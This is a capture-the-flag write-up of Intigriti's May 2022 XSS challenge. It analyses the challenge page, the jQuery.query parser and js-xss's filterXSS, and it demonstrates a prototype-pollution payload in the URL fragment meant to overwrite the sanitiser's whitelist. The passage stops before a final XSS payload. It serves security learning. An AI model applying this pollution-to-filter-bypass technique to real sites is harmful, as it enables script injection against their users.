Skip to main content

Command Palette

Search for a command to run...

May 2022 - Intigriti XSS Challenge Writeup - Prototype Pollution to Overwrite XSS filters!!!

Updated
22 min read
May 2022 - Intigriti XSS Challenge Writeup - Prototype Pollution to Overwrite XSS filters!!!
G
Hey there 👋 , I'm Godson, a dude who loves doing source-code reviews and web security 👨‍💻. I'm passionate about ensuring that web applications are secure 🔒 uncovering vulnerabilities 🐞 and keeping applications safe 🔐.

I came across the Tweet from Intigriti about this month’s XSS challenge, and I decided to try that out.

💡
Challenge URL: https://challenge-0522.intigriti.io/
  • The following screenshot shows that website:

  • Note that it contains a word Pollution — Didn’t that remain us of something?

Code Analysis:

  • Let’s analyse the front end code:
<!DOCTYPE html>
<html>
<head>
  <script src="https://cdnjs.cloudflare.com/ajax/libs/js-xss/0.3.3/xss.min.js"></script>
  <script src="https://code.jquery.com/jquery-3.5.1.js"></script>
  <script>
    /**
 * jQuery.query - Query String Modification and Creation for jQuery
 * Written by Blair Mitchelmore (blair DOT mitchelmore AT gmail DOT com)
 * Licensed under the WTFPL (http://sam.zoy.org/wtfpl/).
 * Date: 2009/8/13
 *
 * @author Blair Mitchelmore
 * @version 2.2.3
 *
 **/
new function(settings) { 
  // Various Settings
  var $separator = settings.separator || '&';
  var $spaces = settings.spaces === false ? false : true;
  var $suffix = settings.suffix === false ? '' : '[]';
  var $prefix = settings.prefix === false ? false : true;
  var $hash = $prefix ? settings.hash === true ? "#" : "?" : "";
  var $numbers = settings.numbers === false ? false : true;

  jQuery.query = new function() {
    var is = function(o, t) {
      return o != undefined && o !== null && (!!t ? o.constructor == t : true);
    };
    var parse = function(path) {
      var m, rx = /\[([^[]*)\]/g, match = /^([^[]+)(\[.*\])?$/.exec(path), base = match[1], tokens = [];
      while (m = rx.exec(match[2])) tokens.push(m[1]);
      return [base, tokens];
    };
    var set = function(target, tokens, value) {
      var o, token = tokens.shift();
      if (typeof target != 'object') target = null;
      if (token === "") {
        if (!target) target = [];
        if (is(target, Array)) {
          target.push(tokens.length == 0 ? value : set(null, tokens.slice(0), value));
        } else if (is(target, Object)) {
          var i = 0;
          while (target[i++] != null);
          target[--i] = tokens.length == 0 ? value : set(target[i], tokens.slice(0), value);
        } else {
          target = [];
          target.push(tokens.length == 0 ? value : set(null, tokens.slice(0), value));
        }
      } else if (token && token.match(/^\s*[0-9]+\s*$/)) {
        var index = parseInt(token, 10);
        if (!target) target = [];
        target[index] = tokens.length == 0 ? value : set(target[index], tokens.slice(0), value);
      } else if (token) {
        var index = token.replace(/^\s*|\s*$/g, "");
        if (!target) target = {};
        if (is(target, Array)) {
          var temp = {};
          for (var i = 0; i < target.length; ++i) {
            temp[i] = target[i];
          }
          target = temp;
        }
        target[index] = tokens.length == 0 ? value : set(target[index], tokens.slice(0), value);
      } else {
        return value;
      }
      return target;
    };

    var queryObject = function(a) {
      var self = this;
      self.keys = {};

      if (a.queryObject) {
        jQuery.each(a.get(), function(key, val) {
          self.SET(key, val);
        });
      } else {
        self.parseNew.apply(self, arguments);
      }
      return self;
    };

    queryObject.prototype = {
      queryObject: true,
      parseNew: function(){
        var self = this;
        self.keys = {};
        jQuery.each(arguments, function() {
          var q = "" + this;
          q = q.replace(/^[?#]/,''); // remove any leading ? || #
          q = q.replace(/[;&]$/,''); // remove any trailing & || ;
          if ($spaces) q = q.replace(/[+]/g,' '); // replace +'s with spaces

          jQuery.each(q.split(/[&;]/), function(){
            var key = decodeURIComponent(this.split('=')[0] || "");
            var val = decodeURIComponent(this.split('=')[1] || "");

            if (!key) return;

            if ($numbers) {
              if (/^[+-]?[0-9]+\.[0-9]*$/.test(val)) // simple float regex
                val = parseFloat(val);
              else if (/^[+-]?[1-9][0-9]*$/.test(val)) // simple int regex
                val = parseInt(val, 10);
            }

            val = (!val && val !== 0) ? true : val;

            self.SET(key, val);
          });
        });
        return self;
      },
      has: function(key, type) {
        var value = this.get(key);
        return is(value, type);
      },
      GET: function(key) {
        if (!is(key)) return this.keys;
        var parsed = parse(key), base = parsed[0], tokens = parsed[1];
        var target = this.keys[base];
        while (target != null && tokens.length != 0) {
          target = target[tokens.shift()];
        }
        return typeof target == 'number' ? target : target || "";
      },
      get: function(key) {
        var target = this.GET(key);
        if (is(target, Object))
          return jQuery.extend(true, {}, target);
        else if (is(target, Array))
          return target.slice(0);
        return target;
      },
      SET: function(key, val) {
        var value = !is(val) ? null : val;
        var parsed = parse(key), base = parsed[0], tokens = parsed[1];
        var target = this.keys[base];
        this.keys[base] = set(target, tokens.slice(0), value);
        return this;
      },
      set: function(key, val) {
        return this.copy().SET(key, val);
      },
      REMOVE: function(key, val) {
        if (val) {
          var target = this.GET(key);
          if (is(target, Array)) {
            for (tval in target) {
                target[tval] = target[tval].toString();
            }
            var index = $.inArray(val, target);
            if (index >= 0) {
              key = target.splice(index, 1);
              key = key[index];
            } else {
              return;
            }
          } else if (val != target) {
              return;
          }
        }
        return this.SET(key, null).COMPACT();
      },
      remove: function(key, val) {
        return this.copy().REMOVE(key, val);
      },
      EMPTY: function() {
        var self = this;
        jQuery.each(self.keys, function(key, value) {
          delete self.keys[key];
        });
        return self;
      },
      load: function(url) {
        var hash = url.replace(/^.*?[#](.+?)(?:\?.+)?$/, "$1");
        var search = url.replace(/^.*?[?](.+?)(?:#.+)?$/, "$1");
        return new queryObject(url.length == search.length ? '' : search, url.length == hash.length ? '' : hash);
      },
      empty: function() {
        return this.copy().EMPTY();
      },
      copy: function() {
        return new queryObject(this);
      },
      COMPACT: function() {
        function build(orig) {
          var obj = typeof orig == "object" ? is(orig, Array) ? [] : {} : orig;
          if (typeof orig == 'object') {
            function add(o, key, value) {
              if (is(o, Array))
                o.push(value);
              else
                o[key] = value;
            }
            jQuery.each(orig, function(key, value) {
              if (!is(value)) return true;
              add(obj, key, build(value));
            });
          }
          return obj;
        }
        this.keys = build(this.keys);
        return this;
      },
      compact: function() {
        return this.copy().COMPACT();
      },
      toString: function() {
        var i = 0, queryString = [], chunks = [], self = this;
        var encode = function(str) {
          str = str + "";
          str = encodeURIComponent(str);
          if ($spaces) str = str.replace(/%20/g, "+");
          return str;
        };
        var addFields = function(arr, key, value) {
          if (!is(value) || value === false) return;
          var o = [encode(key)];
          if (value !== true) {
            o.push("=");
            o.push(encode(value));
          }
          arr.push(o.join(""));
        };
        var build = function(obj, base) {
          var newKey = function(key) {
            return !base || base == "" ? [key].join("") : [base, "[", key, "]"].join("");
          };
          jQuery.each(obj, function(key, value) {
            if (typeof value == 'object') 
              build(value, newKey(key));
            else
              addFields(chunks, newKey(key), value);
          });
        };

        build(this.keys);

        if (chunks.length > 0) queryString.push($hash);
        queryString.push(chunks.join($separator));

        return queryString.join("");
      }
    };

    return new queryObject(location.search, location.hash);
  };
}(jQuery.query || {}); // Pass in jQuery.query as settings object

  </script>
  <style>
   // Boring CSS
  </style>
</head>
<body>
<h1 id="root"></h1>
<script>
  var pages = {
    1: `HOME
      <h5>Pollution is consuming the world. It's killing all the plants and ruining nature, but we won't let that happen! Our products will help you save the planet and yourself by purifying air naturally.</h5>`,
    2: `PRODUCTS
      <br>
    <footer>
        <img src="https://miro.medium.com/max/1000/1*Cd9sLiby5ibLJAkixjCidw.jpeg" width="150" height="200" alt="Snake Plant"></img><span>Snake Plant</span>
      </footer>
      <footer>
        <img src="https://miro.medium.com/max/1000/1*wlzwrBXYoDDkaAag_CT-AA.jpeg" width="150" height="200" alt="Areca Palm"></img><span>Areca Palm</span>
      </footer>
    <footer>
        <img src="https://miro.medium.com/max/1000/1*qn_6G8NV4xg_J0luFbY47w.jpeg" width="150" height="200" alt="Rubber Plant"></img><span>Rubber Plant</span>
        </footer>`,
    3: `CONTACT
      <br><br>
      <b>
        <a href="https://www.facebook.com/intigriticom/"><img src="https://cdn-icons-png.flaticon.com/512/124/124010.png" width="50" height="50" alt="Facebook"></img></a>
        <a href="https://www.linkedin.com/company/intigriti/"><img src="https://cdn-icons-png.flaticon.com/512/61/61109.png" width="50" height="50" alt="LinkedIn"></img></a>
        <a href="https://twitter.com/intigriti"><img src="https://cdn-icons-png.flaticon.com/512/124/124021.png" width="50" height="50" alt="Twitter"></img></a>
        <a href="https://www.instagram.com/hackwithintigriti/"><img src="https://cdn-icons-png.flaticon.com/512/174/174855.png" width="50" height="50" alt="Instagram"></img></a>
      </b>
      `,
    4: `
      <div class="dropdown">
        <div id="myDropdown" class="dropdown-content">
          <a href = "?page=1">Home</a>
          <a href = "?page=2">Products</a>
          <a href = "?page=3">Contact</a>
        </div>
      </div>`
  };

  var pl = $.query.get('page');
  if(pages[pl] != undefined){
    console.log(pages);
    document.getElementById("root").innerHTML = pages['4']+filterXSS(pages[pl]);
  }else{
    document.location.search = "?page=1"
  }
</script>
</body>
</html>
  • Too much code. let’s evaluate it, one at a time. The following URLs are loaded within the page:

    • https://cdnjs.cloudflare.com/ajax/libs/js-xss/0.3.3/xss.min.js

    • https://code.jquery.com/jquery-3.5.1.js

    • https://cdnjs.cloudflare.com/ajax/libs/js-xss/0.3.3/xss.min.js

    • https://code.jquery.com/jquery-3.5.1.js

  • This page accepts a GET parameter, called page.

var pl = $.query.get('page');

if(pages[pl] != undefined){

    document.getElementById("root").innerHTML = pages['4']+filterXSS(pages[pl]);

}
else{

    document.location.search = "?page=1"

}
  • But what is pages? pages is a Javascript object, as shown in the following snippet:
var pages = {

1: `HOME

<h5>Pollution is consuming the world. It's killing all the plants and ruining nature, but we won't let that happen! Our products will help you save the planet and yourself by purifying air naturally.</h5>`,

2: `PRODUCTS

<br>

<footer>

<img src="https://miro.medium.com/max/1000/1*Cd9sLiby5ibLJAkixjCidw.jpeg" width="150" height="200" alt="Snake Plant"></img><span>Snake Plant</span>

</footer>

<footer>

<img src="https://miro.medium.com/max/1000/1*wlzwrBXYoDDkaAag_CT-AA.jpeg" width="150" height="200" alt="Areca Palm"></img><span>Areca Palm</span>

</footer>

<footer>

<img src="https://miro.medium.com/max/1000/1*qn_6G8NV4xg_J0luFbY47w.jpeg" width="150" height="200" alt="Rubber Plant"></img><span>Rubber Plant</span>

</footer>`,

3: `CONTACT

<br><br>

<b>

<a href="https://www.facebook.com/intigriticom/"><img src="https://cdn-icons-png.flaticon.com/512/124/124010.png" width="50" height="50" alt="Facebook"></img></a>

<a href="https://www.linkedin.com/company/intigriti/"><img src="https://cdn-icons-png.flaticon.com/512/61/61109.png" width="50" height="50" alt="LinkedIn"></img></a>

<a href="https://twitter.com/intigriti"><img src="https://cdn-icons-png.flaticon.com/512/124/124021.png" width="50" height="50" alt="Twitter"></img></a>

<a href="https://www.instagram.com/hackwithintigriti/"><img src="https://cdn-icons-png.flaticon.com/512/174/174855.png" width="50" height="50" alt="Instagram"></img></a>

</b>

`,

4: `

<div class="dropdown">

<div id="myDropdown" class="dropdown-content">

<a href = "?page=1">Home</a>

<a href = "?page=2">Products</a>

<a href = "?page=3">Contact</a>

</div>

</div>`

};
  • If the GET parameter page is set to 1, then the page will innerHTML the first property of the pages JavaScript object, that is <h5>Pollution is cons...</h5>.

Source and Sink:

  • Source: ?page=<source>. We can pass any value here. But the valid options are 1-3. But, there is a If condition, that checks and confirms that the user input is not undefined and it returns something when passed to pages object.

  • Sink: innerHTML, If our Input is passed the If condition, then our input is sanitized and passed into the innerHTML sink, which is well-known for XSS.

var pl = $.query.get('page');

if(pages[pl] != undefined){

    document.getElementById("root").innerHTML = pages['4']+filterXSS(pages[pl]);

}
else{

    document.location.search = "?page=1"

}
  • How does the $.query.get(‘page’) work?
new function(settings) { 
  // Various Settings
  var $separator = settings.separator || '&';
  var $spaces = settings.spaces === false ? false : true;
  var $suffix = settings.suffix === false ? '' : '[]';
  var $prefix = settings.prefix === false ? false : true;
  var $hash = $prefix ? settings.hash === true ? "#" : "?" : "";
  var $numbers = settings.numbers === false ? false : true;

  jQuery.query = new function() {
    var is = function(o, t) {
      return o != undefined && o !== null && (!!t ? o.constructor == t : true);
    };
    var parse = function(path) {
      var m, rx = /\[([^[]*)\]/g, match = /^([^[]+)(\[.*\])?$/.exec(path), base = match[1], tokens = [];
      while (m = rx.exec(match[2])) tokens.push(m[1]);
      return [base, tokens];
    };
    var set = function(target, tokens, value) {
      var o, token = tokens.shift();
      if (typeof target != 'object') target = null;
      if (token === "") {
        if (!target) target = [];
        if (is(target, Array)) {
          target.push(tokens.length == 0 ? value : set(null, tokens.slice(0), value));
        } else if (is(target, Object)) {
          var i = 0;
          while (target[i++] != null);
          target[--i] = tokens.length == 0 ? value : set(target[i], tokens.slice(0), value);
        } else {
          target = [];
          target.push(tokens.length == 0 ? value : set(null, tokens.slice(0), value));
        }
      } else if (token && token.match(/^\s*[0-9]+\s*$/)) {
        var index = parseInt(token, 10);
        if (!target) target = [];
        target[index] = tokens.length == 0 ? value : set(target[index], tokens.slice(0), value);
      } else if (token) {
        var index = token.replace(/^\s*|\s*$/g, "");
        if (!target) target = {};
        if (is(target, Array)) {
          var temp = {};
          for (var i = 0; i < target.length; ++i) {
            temp[i] = target[i];
          }
          target = temp;
        }
        target[index] = tokens.length == 0 ? value : set(target[index], tokens.slice(0), value);
      } else {
        return value;
      }
      return target;
    };

    var queryObject = function(a) {
      var self = this;
      self.keys = {};

      if (a.queryObject) {
        jQuery.each(a.get(), function(key, val) {
          self.SET(key, val);
        });
      } else {
        self.parseNew.apply(self, arguments);
      }
      return self;
    };

    queryObject.prototype = {
      queryObject: true,
      parseNew: function(){
        var self = this;
        self.keys = {};
        jQuery.each(arguments, function() {
          var q = "" + this;
          q = q.replace(/^[?#]/,''); // remove any leading ? || #
          q = q.replace(/[;&]$/,''); // remove any trailing & || ;
          if ($spaces) q = q.replace(/[+]/g,' '); // replace +'s with spaces

          jQuery.each(q.split(/[&;]/), function(){
            var key = decodeURIComponent(this.split('=')[0] || "");
            var val = decodeURIComponent(this.split('=')[1] || "");

            if (!key) return;

            if ($numbers) {
              if (/^[+-]?[0-9]+\.[0-9]*$/.test(val)) // simple float regex
                val = parseFloat(val);
              else if (/^[+-]?[1-9][0-9]*$/.test(val)) // simple int regex
                val = parseInt(val, 10);
            }

            val = (!val && val !== 0) ? true : val;

            self.SET(key, val);
          });
        });
        return self;
      },
      has: function(key, type) {
        var value = this.get(key);
        return is(value, type);
      },
      GET: function(key) {
        if (!is(key)) return this.keys;
        var parsed = parse(key), base = parsed[0], tokens = parsed[1];
        var target = this.keys[base];
        while (target != null && tokens.length != 0) {
          target = target[tokens.shift()];
        }
        return typeof target == 'number' ? target : target || "";
      },
      get: function(key) {
        var target = this.GET(key);
        if (is(target, Object))
          return jQuery.extend(true, {}, target);
        else if (is(target, Array))
          return target.slice(0);
        return target;
      },
      SET: function(key, val) {
        var value = !is(val) ? null : val;
        var parsed = parse(key), base = parsed[0], tokens = parsed[1];
        var target = this.keys[base];
        this.keys[base] = set(target, tokens.slice(0), value);
        return this;
      },
      set: function(key, val) {
        return this.copy().SET(key, val);
      },
      REMOVE: function(key, val) {
        if (val) {
          var target = this.GET(key);
          if (is(target, Array)) {
            for (tval in target) {
                target[tval] = target[tval].toString();
            }
            var index = $.inArray(val, target);
            if (index >= 0) {
              key = target.splice(index, 1);
              key = key[index];
            } else {
              return;
            }
          } else if (val != target) {
              return;
          }
        }
        return this.SET(key, null).COMPACT();
      },
      remove: function(key, val) {
        return this.copy().REMOVE(key, val);
      },
      EMPTY: function() {
        var self = this;
        jQuery.each(self.keys, function(key, value) {
          delete self.keys[key];
        });
        return self;
      },
      load: function(url) {
        var hash = url.replace(/^.*?[#](.+?)(?:\?.+)?$/, "$1");
        var search = url.replace(/^.*?[?](.+?)(?:#.+)?$/, "$1");
        return new queryObject(url.length == search.length ? '' : search, url.length == hash.length ? '' : hash);
      },
      empty: function() {
        return this.copy().EMPTY();
      },
      copy: function() {
        return new queryObject(this);
      },
      COMPACT: function() {
        function build(orig) {
          var obj = typeof orig == "object" ? is(orig, Array) ? [] : {} : orig;
          if (typeof orig == 'object') {
            function add(o, key, value) {
              if (is(o, Array))
                o.push(value);
              else
                o[key] = value;
            }
            jQuery.each(orig, function(key, value) {
              if (!is(value)) return true;
              add(obj, key, build(value));
            });
          }
          return obj;
        }
        this.keys = build(this.keys);
        return this;
      },
      compact: function() {
        return this.copy().COMPACT();
      },
      toString: function() {
        var i = 0, queryString = [], chunks = [], self = this;
        var encode = function(str) {
          str = str + "";
          str = encodeURIComponent(str);
          if ($spaces) str = str.replace(/%20/g, "+");
          return str;
        };
        var addFields = function(arr, key, value) {
          if (!is(value) || value === false) return;
          var o = [encode(key)];
          if (value !== true) {
            o.push("=");
            o.push(encode(value));
          }
          arr.push(o.join(""));
        };
        var build = function(obj, base) {
          var newKey = function(key) {
            return !base || base == "" ? [key].join("") : [base, "[", key, "]"].join("");
          };
          jQuery.each(obj, function(key, value) {
            if (typeof value == 'object') 
              build(value, newKey(key));
            else
              addFields(chunks, newKey(key), value);
          });
        };

        build(this.keys);

        if (chunks.length > 0) queryString.push($hash);
        queryString.push(chunks.join($separator));

        return queryString.join("");
      }
    };

    return new queryObject(location.search, location.hash); // Interesting Part Bro :) 
  };
}(jQuery.query || {}); // Pass in jQuery.query as settings object
  • Most of them are not applicable/not interesting.

  • The following snippet shows the basic structure:

new function(){
...
...
    jQuery.query = new function(){
        var is = function() {
            ...
        };
        var parse = function() {
            ...
        };
        var set = function(){
            ...
            ...
            ...
        };
        var queryObject = function(){
            ...
            ...
        };
        queryObject.prototype = {
            queryObject: true,
            parseNew: function(){
                ...
                ...
                ...
            };

        has: function(){
            ...
        },
        GET: function(){
            ...
        },
        get: function(){
            ...
        },
        SET: function(){
            ...
        },
        set: function(){
            ...
        },
        REMOVE: function(){
            ...
        },
        remove: function(){
            ...
        },
        load: function(){
            ...
        },
        empty: function(){
            ...
        },
        copy: function(){
            ...
        },
        COMPACT: function(){
            ...
        },
        compact: function(){
            ...
        },
        toString: function(){
            ...
            ...
            ...
        },
    };

    return new queryObject(location.search, location.hash)    // Interesting Part :)    

}(jQuery.query || {});
  • return new queryObject(location.search, location.hash) — This is the most important part of this code snippet.

  • What is queryObject? queryObject is a constructor function. Constructor function automatically returns the object. So, we don't need to manually write a return statement.

var queryObject = function(a) {

var self = this;

self.keys = {};

if (a.queryObject) {

jQuery.each(a.get(), function(key, val) {

self.SET(key, val);

});

} else {

self.parseNew.apply(self, arguments);

}

return self;

};
  • we need to pass one parameter as argument to queryObject function.

  • If the function using this keyword, then this function would be called a constructor function.

  • When queryObject function is called, location.search and location.hash are concatenated and passed to queryObject function.

  • location.search will return the GET parameters. For example, if the URL is http://abc.xss?page=2, then location.search would return ?page=2.

  • location.hash will return strings after fragment part (#) of the URL. For example, if the URL is http://abc.xss?search=20#123, then location.hash would return #123.

  • We can add anything after # which is passed as argument to queryObject function.

  • So, our source is not just location.search, but also location.hash.


Local Setup

  • I made a local setup to play more with this.

  • $.query.get required one parameter, where the GET param page is passed.

  • Return statement — return jQuery.extend(true, {}, target);. Basically, the jQuery.extend will be doing the merge operation. In part, jQuery.extend was vulnerable to prototype pollution. But, it looks like it is no longer vulnerable (at the time of writing).

get: function(key) {

    var target = this.GET(key);

    if (is(target, Object))

    return jQuery.extend(true, {}, target);

    else if (is(target, Array))

    return target.slice(0);

    return target;

},
  • this.GET(key)? is(target, Object)?

  • The following snippet shows how the is function works:

var is = function(o, t) {

    return o != undefined && o !== null && (!!t ? o.constructor == t : true);

};
  • we need to pass 2 parameters as arguments to is function.

  • Basically, this is function returns boolean values.

  • The purpose of this is function is to check the datatype of first passed argument, and compare it with the second passed argument, as shown in the following screenshot:


  • The following code snippet shows how the this.GET(key) works:
GET: function(key) {

    if (!is(key)) return this.keys;

    var parsed = parse(key), base = parsed[0], tokens = parsed[1];

    var target = this.keys[base];

    while (target != null && tokens.length != 0) {

    target = target[tokens.shift()];

    }

    return typeof target == 'number' ? target : target || "";

}
  • parse(key)? The following snippet shows how the parse function works:
var parse = function(path) {

    var m, rx = /\[([^[]*)\]/g, match = /^([^[]+)(\[.*\])?$/.exec(path),base = match[1], tokens = [];

    while (m = rx.exec(match[2])) tokens.push(m[1]);

    return [base, tokens];

};
  • This parse function requires one parameter as an argument. This is just some weird looking regex.

rx:

  • Basically it matches all characters inside [].

match:

  • This match regex looks for path that can are usually converted into objects/array during parsing. For example, ?lol=a[b]=[c].

  • This parse function will return 2 values, as shown in the following screenshot:


  • Let look at this.GET(key) once again:
GET: function(key) {

    if (!is(key)) return this.keys;

    var parsed = parse(key), base = parsed[0], tokens = parsed[1];

    var target = this.keys[base];

    while (target != null && tokens.length != 0) {

    target = target[tokens.shift()];

    }

    return typeof target == 'number' ? target : target || "";

}
  • In the is function, If we only passed one argument, it always return true. Because of this condition — ... o.constructor == t : true.

  • parsed = parse(key) will return 2 values, base = parsed[0], tokens = parsed[1]. 1st return value is stored in base and 2nd in tokens. Data type of the tokens is Array.

  • var target = this.keys[base];this.keys?

  • We already looked into queryObject:

var queryObject = function(a) {

    var self = this;

    self.keys = {};    
    ...
    ...
};
  • Yes, this.keys is an object. this.keys[base] should return something, if it does't, then the while loop condition will be set to false.

  • Let’s look into the queryObject function:

var queryObject = function(a) {
    var self = this;
    self.keys = {};
    if (a.queryObject) {
        jQuery.each(a.get(), function(key, val) {
        self.SET(key, val);
    });
    } else {
        self.parseNew.apply(self, arguments);
    }
    return self;
};
  • The if condition will run if a.queryObject return something. a is user passed argument — location.search,location.hash.

  • Else, parseNew function will be executed.

  • Let’s look into the SET(key, val) and parseNew definition.

  • The following code snippet shows the definition of the SET:

    • requires 2 arguments from user, key and val.
SET: function(key, val) {

    var value = !is(val) ? null : val;

    var parsed = parse(key), base = parsed[0], tokens = parsed[1];

    var target = this.keys[base];



    this.keys[base] = set(target, tokens.slice(0), value);

return this;
  • Let’s look into the set function:
var set = function(target, tokens, value) {
    var o, token = tokens.shift();
    if (typeof target != 'object') target = null;
    if (token === "") {
        if (!target) target = [];
        if (is(target, Array)) {
            target.push(tokens.length == 0 ? value : set(null, tokens.slice(0), value));
        } else if (is(target, Object)) {
            var i = 0;
            while (target[i++] != null);
                target[--i] = tokens.length == 0 ? value : set(target[i], tokens.slice(0), value);
        } else {
            target = [];
            target.push(tokens.length == 0 ? value : set(null, tokens.slice(0), value));
            }
        } else if (token && token.match(/^\s*[0-9]+\s*$/)) {
    var index = parseInt(token, 10);
    if (!target) target = [];
    target[index] = tokens.length == 0 ? value : set(target[index], tokens.slice(0), value);
    } else if (token) {
    var index = token.replace(/^\s*|\s*$/g, "");
    if (!target) target = {};
    if (is(target, Array)) {
        var temp = {};
        for (var i = 0; i < target.length; ++i) {
        temp[i] = target[i];
        }

    target = temp;
    }

    target[index] = tokens.length == 0 ? value : set(target[index], tokens.slice(0), value);
        } else {
        return value;
        }
    return target;
};
  • Yes, it’s a bit big chunk of code. Let me explain this in simple Words.

    • tokens.shift(); — Basically, the shift function/method will return only one element one by one.

    • This set function requires 3 arguments. target, tokens and value

    • typeof keyword will return the data type. In the first if condition, if the datatype of the target is not Object, then target is set to null

    • And, and other IF ELSE conditions check the datatype of target with is function and calling set.

    • So, according to the datatype of the target, this set function performs a merge operation.

  • Once again, let’s look into the queryObject function:

var queryObject = function(a) {
      var self = this;
      self.keys = {};

      if (a.queryObject) {
        jQuery.each(a.get(), function(key, val) {
          self.SET(key, val);
        });
      } else {
        self.parseNew.apply(self, arguments);
      }
      return self;
    };
  • if a.queryObject return something, then self.SET will be called. self mapped thisself == this

  • Else, self.parsedNew will be called.

  • The apply() method is similar to the call() method

  • Let's look into the parsedNew:

parseNew: function(){
    var self = this;
    self.keys = {};
    jQuery.each(arguments, function() {
    var q = "" + this;
    q = q.replace(/^[?#]/,''); // remove any leading ? || #
    q = q.replace(/[;&]$/,''); // remove any trailing & || ;

    if ($spaces) q = q.replace(/[+]/g,' '); // replace +'s with spaces

    jQuery.each(q.split(/[&;]/), function(){
        var key = decodeURIComponent(this.split('=')[0] || "");
        var val = decodeURIComponent(this.split('=')[1] || "");

        if (!key) return;
        if ($numbers) {
            if (/^[+-]?[0-9]+\.[0-9]*$/.test(val)) // simple float regex
            val = parseFloat(val);
            else if (/^[+-]?[1-9][0-9]*$/.test(val)) // simple int regex
            val = parseInt(val, 10);
            }
        val = (!val && val !== 0) ? true : val;
        self.SET(key, val);
        });
    });

    return self;

}
  • In jQuery.each loop,
var q = "" + this;

q = q.replace(/^[?#]/,''); // remove any leading ? || #

q = q.replace(/[;&]$/,''); // remove any trailing & || ;

if ($spaces) q = q.replace(/[+]/g,' '); // replace +'s with spaces

jQuery.each(q.split(/[&;]/), function(){
...
...
});
  • This replaces ?,#,&,|| with '', and converts + to ' '. (url decoding)

  • Let’s look into nested jQuery.each - jQuery.each(q.split(/[&;]/)

var key = decodeURIComponent(this.split('=')[0] || "");
var val = decodeURIComponent(this.split('=')[1] || "");

if (!key) return;
if ($numbers) {
    if (/^[+-]?[0-9]+\.[0-9]*$/.test(val)) // simple float regex
    val = parseFloat(val);

    else if (/^[+-]?[1-9][0-9]*$/.test(val)) // simple int regex
    val = parseInt(val, 10);
}

val = (!val && val !== 0) ? true : val;
self.SET(key, val);

Note: decodeURIComponent(this.split('=')[0] || "");decodeURIComponent will be called after the splitting. By URL-encoding the =, we can bypass this split function. This will be useful at end.

  • split keyword is used to split a string according to a condition and return as a array. — var a = 'a&c';a.split('&')[a,c]

  • Before passing to SET, value of val is checked if the datatype is int or float. After the check, SET is called with key and val as arguments.

Exploit Idea

  • We can pollute the Object Prototype to add new key value pairs.

  • We can also bypass the filterXSS function with prototype pollution — We will take a look into this in a bit.

Exploitation

  • I already mentioned about the source. — return new queryObject(location.search, location.hash)

  • URL: http://localhost/index.html?page=2#a[__proto__][abcd]=xss

  • Upon changing the parameter from page=2#payload , to page=abcd#a[__proto__][abcd]=xss, we can perform prototype pollution.

  • Our input is not directly passed into innerHTML, but the input is sanitized before sending into innerHTML.
document.getElementById("root").innerHTML = pages['4']+filterXSS(pages[pl]);
  • You could note that our input is passed to the filterXSS function to get the string sanitized.

  • This filterXSS function comes from https://cdnjs.cloudflare.com/ajax/libs/js-xss/0.3.3/xss.js — Pretty big file. More than 1000 lines of code.

  • filterXSS function:

function filterXSS (html, options) {
  var xss = new FilterXSS(options);
  return xss.process(html);
}
  • It supports 2 arguments, but here, filterXSS(pages[pl]), only 1 argument is passed.

  • I can’t find any bypasses in the internet. I think, bypassing filterXSS to get XSS would be unintended solution.

  • xss.process()?

    • The following snippet shows the process definition. But the point is, this process function is not directly declared, but is injected into the Object prototype:
FilterXSS.prototype.process = function (html) {
  // 兼容各种奇葩输入
  html = html || '';
  html = html.toString();
  if (!html) return '';

  var me = this;
  var options = me.options;
  var whiteList = options.whiteList;
  var onTag = options.onTag;
  var onIgnoreTag = options.onIgnoreTag;
  var onTagAttr = options.onTagAttr;
  var onIgnoreTagAttr = options.onIgnoreTagAttr;
  var safeAttrValue = options.safeAttrValue;
  var escapeHtml = options.escapeHtml;
  var cssFilter = me.cssFilter;

  // 是否清除不可见字符
  if (options.stripBlankChar) {
    html = DEFAULT.stripBlankChar(html);
  }

  // 是否禁止备注标签
  if (!options.allowCommentTag) {
    html = DEFAULT.stripCommentTag(html);
  }

  // 如果开启了stripIgnoreTagBody
  var stripIgnoreTagBody = false;
  if (options.stripIgnoreTagBody) {
    var stripIgnoreTagBody = DEFAULT.StripTagBody(options.stripIgnoreTagBody, onIgnoreTag);
    onIgnoreTag = stripIgnoreTagBody.onIgnoreTag;
  }

  var retHtml = parseTag(html, function (sourcePosition, position, tag, html, isClosing) {
    var info = {
      sourcePosition: sourcePosition,
      position:       position,
      isClosing:      isClosing,
      isWhite:        (tag in whiteList)
    };

    // 调用onTag处理
    var ret = onTag(tag, html, info);
    if (!isNull(ret)) return ret;

    // 默认标签处理方法
    if (info.isWhite) {
      // 白名单标签,解析标签属性
      // 如果是闭合标签,则不需要解析属性
      if (info.isClosing) {
        return '</' + tag + '>';
      }

      var attrs = getAttrs(html);
      var whiteAttrList = whiteList[tag];
      var attrsHtml = parseAttr(attrs.html, function (name, value) {

        // 调用onTagAttr处理
        var isWhiteAttr = (_.indexOf(whiteAttrList, name) !== -1);
        var ret = onTagAttr(tag, name, value, isWhiteAttr);
        if (!isNull(ret)) return ret;

        // 默认的属性处理方法
        if (isWhiteAttr) {
          // 白名单属性,调用safeAttrValue过滤属性值
          value = safeAttrValue(tag, name, value, cssFilter);
          if (value) {
            return name + '="' + value + '"';
          } else {
            return name;
          }
        } else {
          // 非白名单属性,调用onIgnoreTagAttr处理
          var ret = onIgnoreTagAttr(tag, name, value, isWhiteAttr);
          if (!isNull(ret)) return ret;
          return;
        }
      });

      // 构造新的标签代码
      var html = '<' + tag;
      if (attrsHtml) html += ' ' + attrsHtml;
      if (attrs.closing) html += ' /';
      html += '>';
      return html;

    } else {
      // 非白名单标签,调用onIgnoreTag处理
      var ret = onIgnoreTag(tag, html, info);
      if (!isNull(ret)) return ret;
      return escapeHtml(html);
    }

  }, escapeHtml);

  // 如果开启了stripIgnoreTagBody,需要对结果再进行处理
  if (stripIgnoreTagBody) {
    retHtml = stripIgnoreTagBody.remove(retHtml);
  }

  return retHtml;
};
  • This is a huge function with lots of stuff going on. Since we can also pollute prototype, we don't really need to look for bypasses. We can simply write or overwrite key/values in the Object prototype.

  • To explore more, I came back to my local setup. I added a console.log to the process function, as shown in the following screenshot:

  • http://localhost?page=abcd#a[__proto__][abcd]=xss

  • As you could see, our input is present in the Object Prototype. abcd:"xss", along with the escapeHtml function:

  • So, it is possible to overwrite the key-values inside the object prototype. Because, our input is parsed after the script is loaded. Therefore, we can overwrite the filters present in the Object prototype.

  • Upon looking at the code, I found that, The filterXSS function depends in the object whiteList which has only limited number of allowed tags and attributes, and the sanitization is performed based on this configuration.

